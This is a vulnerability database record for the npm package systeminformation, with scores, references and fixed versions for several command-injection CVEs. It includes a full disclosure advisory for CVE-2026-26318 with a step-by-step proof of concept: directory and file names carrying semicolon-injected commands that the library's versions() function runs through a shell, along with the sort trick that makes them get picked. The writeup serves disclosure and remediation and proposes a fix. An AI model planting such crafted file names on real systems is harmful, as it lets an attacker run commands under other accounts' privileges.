exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-fen5-17u8-efbs
8
url VCID-kg9c-n3a4-9uh1
vulnerability_id VCID-kg9c-n3a4-9uh1
summary
# Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation

**Package:** systeminformation (npm)  
**Tested Version:** 5.30.7  
**Affected Platform:** Linux  
**Author:** Sebastian Hildebrandt  
**Weekly Downloads:** ~5,000,000+  
**Repository:** https://github.com/sebhildebrandt/systeminformation  
**Severity:** Medium  
**CWE:** CWE-78 (OS Command Injection)  

---

### The Vulnerable Code Path

Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:

```javascript
// lib/osinfo.js — lines 770-776

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n').sort();
    if (postgresqlBin.length) {
      exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
        // parses version string...
      });
    }
  }
});
```

Here's what happens step by step:

1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries
2. It splits the output by newline and sorts the results alphabetically
3. It takes the **last element** (highest alphabetically)
4. It concatenates that path directly into a new `exec()` call with `+ ' -V'`

**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**

The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`.

---

## Exploitation

### Prerequisites

For this vulnerability to be exploitable, the following conditions must be met:

1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block
2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL
3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)
4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb`
5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros

### Step 1 — Verify the Environment

On the target machine, confirm locate is available and running:

```
which locate
# /usr/bin/locate

systemctl list-timers | grep plocate
# plocate-updatedb.timer    plocate-updatedb.service
# (runs daily, typically around 1-2 AM)
```

Check who owns the locate database:

```
ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db
```

Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.

### Step 2 — Craft the Malicious File Path

The key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.

Create a file whose path contains an injected command:

```
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
```

Verify it exists:

```
find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:

```
sudo updatedb
```

Then verify locate picks it up:

```
locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

### Step 3 — Understand the Sort Trick

The vulnerable code sorts the locate results alphabetically and takes the **last** element:

```javascript
const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);
```

Alphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:

```
Node.js sort order:
  [0] /usr/lib/postgresql/14/bin/postgres   ← legitimate
  [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres   ← selected (last)
```

Quick verification:

```
node -e "
const paths = [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"
```

Output:

```
Sorted: [
  '/usr/lib/postgresql/14/bin/postgres',
  '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
```

### Step 4 — Trigger the Vulnerability

Now when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:

```javascript
const si = require('systeminformation');

// This is a normal, innocent API call
si.versions('postgresql').then(data => {
  console.log(data);
});
```

Internally, the library builds and executes this command:

```
/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V
```

The shell (`/bin/sh -c`) interprets this as three separate commands:

```
/var/tmp/x                         →  fails silently (not executable)
touch /tmp/SI_RCE_PROOF            →  ATTACKER'S COMMAND EXECUTES
/bin/postgres -V                   →  runs normally, returns version
```

### Step 5 — Verify Code Execution

```
ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF
```

The file exists. Arbitrary command execution confirmed.

The injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account.

---

## Real-World Attack Scenarios

### Scenario 1 — Shared Hosting / Multi-Tenant Server

A low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account.

### Scenario 2 — CI/CD Pipeline Poisoning

A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.

### Scenario 3 — Container / Kubernetes Escape

In containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.

---

## Suggested Fix

Replace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:

```javascript
const { execFile } = require('child_process');

exec('locate bin/postgres', (error, stdout) => {
  if (!error) {
    const postgresqlBin = stdout.toString().split('\n')
      .filter(p => p.trim().length > 0)
      .sort();
    if (postgresqlBin.length) {
      execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
        // ... parse version
      });
    }
  }
});
```

Additionally, the locate output should be validated against a safe path pattern before use:

```javascript
const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
  .filter(p => safePath.test(p.trim()))
  .sort();
```

---

## Disclosure

- **Reported via:** GitHub Private Security Advisory
- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new
- **Security Contact:** security@systeminformation.io
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26318.json
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26318.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-26318
reference_id
reference_type
scores
0
value 0.0002
scoring_system epss
scoring_elements 0.05795
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-26318
2
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:34Z/
url https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107
4
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2441124
reference_id 2441124
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2441124
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-26318
reference_id CVE-2026-26318
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-26318
6
reference_url https://github.com/advisories/GHSA-5vv4-hvf7-2h46
reference_id GHSA-5vv4-hvf7-2h46
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-5vv4-hvf7-2h46
7
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46
reference_id GHSA-5vv4-hvf7-2h46
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-19T20:57:34Z/
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46
fixed_packages
0
url pkg:npm/systeminformation@5.31.0
purl pkg:npm/systeminformation@5.31.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.31.0
aliases CVE-2026-26318, GHSA-5vv4-hvf7-2h46
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-kg9c-n3a4-9uh1
9
url VCID-us5p-3w2r-13e6
vulnerability_id VCID-us5p-3w2r-13e6
summary
Command Injection Vulnerability
command injection vulnerability
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-21315
reference_id
reference_type
scores
0
value 0.9396
scoring_system epss
scoring_elements 0.99892
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-21315
1
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
2
reference_url https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
1
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:A/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-06T19:38:40Z/
url https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525
3
reference_url https://lists.apache.org/thread.html/r8afea9a83ed568f2647cccc6d8d06126f9815715ddf9a4d479b26b05@%3Cissues.cordova.apache.org%3E
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://lists.apache.org/thread.html/r8afea9a83ed568f2647cccc6d8d06126f9815715ddf9a4d479b26b05@%3Cissues.cordova.apache.org%3E
4
reference_url https://lists.apache.org/thread.html/r8afea9a83ed568f2647cccc6d8d06126f9815715ddf9a4d479b26b05%40%3Cissues.cordova.apache.org%3E
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
1
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:A/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-06T19:38:40Z/
url https://lists.apache.org/thread.html/r8afea9a83ed568f2647cccc6d8d06126f9815715ddf9a4d479b26b05%40%3Cissues.cordova.apache.org%3E
5
reference_url https://security.netapp.com/advisory/ntap-20210312-0007
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://security.netapp.com/advisory/ntap-20210312-0007
6
reference_url https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21315
reference_id
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21315
7
reference_url https://www.npmjs.com/package/systeminformation
reference_id
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
1
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:A/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-06T19:38:40Z/
url https://www.npmjs.com/package/systeminformation
8
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-21315
reference_id CVE-2021-21315
reference_type
scores
0
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-21315
9
reference_url https://github.com/advisories/GHSA-2m8v-572m-ff2v
reference_id GHSA-2m8v-572m-ff2v
reference_type
scores
url https://github.com/advisories/GHSA-2m8v-572m-ff2v
10
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
reference_id GHSA-2m8v-572m-ff2v
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
1
value 7.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:A/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-06T19:38:40Z/
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v
11
reference_url https://security.netapp.com/advisory/ntap-20210312-0007/
reference_id ntap-20210312-0007
reference_type
scores
0
value 7.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:A/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-06T19:38:40Z/
url https://security.netapp.com/advisory/ntap-20210312-0007/
fixed_packages
0
url pkg:npm/systeminformation@5.3.1
purl pkg:npm/systeminformation@5.3.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2rnv-d3tb-hug9
1
vulnerability VCID-3vuy-w9kw-7fdy
2
vulnerability VCID-99un-1enx-5uhv
3
vulnerability VCID-fen5-17u8-efbs
4
vulnerability VCID-kg9c-n3a4-9uh1
5
vulnerability VCID-wd8e-yyex-vqff
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.3.1
aliases CVE-2021-21315, GHSA-2m8v-572m-ff2v
risk_score 10.0
exploitability 2.0
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-us5p-3w2r-13e6
10
url VCID-wd8e-yyex-vqff
vulnerability_id VCID-wd8e-yyex-vqff
summary
systeminformation has a Command Injection vulnerability in fsSize() function on Windows
The `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

**Affected Platforms:** Windows only

**CVSS Breakdown:**
- **Attack Vector (AV:N):** Network - if used in a web application/API
- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`
- **Privileges Required (PR:N):** None - no authentication required at library level
- **User Interaction (UI:N):** None
- **Scope (S:U):** Unchanged - executes within Node.js process context
- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited

> **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.

---
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68154.json
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68154.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-68154
reference_id
reference_type
scores
0
value 0.00048
scoring_system epss
scoring_elements 0.15424
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-68154
2
reference_url https://github.com/sebhildebrandt/systeminformation
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/sebhildebrandt/systeminformation
3
reference_url https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68
reference_id
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-12-17T14:50:36Z/
url https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68
4
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2422883
reference_id 2422883
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2422883
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-68154
reference_id CVE-2025-68154
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-68154
6
reference_url https://github.com/advisories/GHSA-wphj-fx3q-84ch
reference_id GHSA-wphj-fx3q-84ch
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-wphj-fx3q-84ch
7
reference_url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch
reference_id GHSA-wphj-fx3q-84ch
reference_type
scores
0
value 8.1
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-12-17T14:50:36Z/
url https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch
fixed_packages
0
url pkg:npm/systeminformation@5.27.14
purl pkg:npm/systeminformation@5.27.14
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2rnv-d3tb-hug9
1
vulnerability VCID-kg9c-n3a4-9uh1
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@5.27.14
aliases CVE-2025-68154, GHSA-wphj-fx3q-84ch
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-wd8e-yyex-vqff
Fixing_vulnerabilities
Risk_score10.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/systeminformation@3.42.8